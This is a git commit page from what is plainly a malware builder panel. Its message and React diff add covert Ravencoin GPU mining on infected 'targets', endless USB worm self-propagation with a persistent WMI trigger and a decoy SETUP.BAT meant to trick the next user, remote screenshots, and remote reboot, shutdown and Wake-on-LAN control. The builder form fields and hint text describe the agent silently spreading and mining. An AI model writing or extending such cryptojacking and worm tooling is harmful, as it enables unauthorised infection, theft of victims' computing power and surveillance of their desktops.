Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="GPU Mining — Ravencoin"
|
||||
badge="baked"
|
||||
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={!!form.gpu_enabled}
|
||||
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
|
||||
/>
|
||||
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
|
||||
</label>
|
||||
<p className="form-hint">
|
||||
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
|
||||
</p>
|
||||
</div>
|
||||
{form.gpu_enabled && (
|
||||
<>
|
||||
<div className="form-group">
|
||||
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="R... (your RVN address)"
|
||||
value={form.rvn_wallet ?? ''}
|
||||
onChange={(e) => updateField('rvn_wallet', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">Ravencoin Pools</label>
|
||||
<RVNPoolPresetPicker
|
||||
host={form.rvn_pool_host ?? ''}
|
||||
port={form.rvn_pool_port ?? 6060}
|
||||
tls={form.rvn_pool_tls ?? false}
|
||||
pass={form.rvn_pool_pass ?? 'x'}
|
||||
backups={form.rvn_backup_pools ?? []}
|
||||
onChange={(next) => {
|
||||
updateField('rvn_pool_host', next.rvn_pool_host);
|
||||
updateField('rvn_pool_port', next.rvn_pool_port);
|
||||
updateField('rvn_pool_tls', next.rvn_pool_tls);
|
||||
updateField('rvn_backup_pools', next.rvn_backup_pools);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">RVN Pool Password</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.rvn_pool_pass ?? 'x'}
|
||||
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
{form.usb_spread && (
|
||||
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
|
||||
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
|
||||
⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
|
||||
</div>
|
||||
)}
|
||||
<FieldHint field="usb_spread" />
|
||||
|
||||
Reference in New Issue
Block a user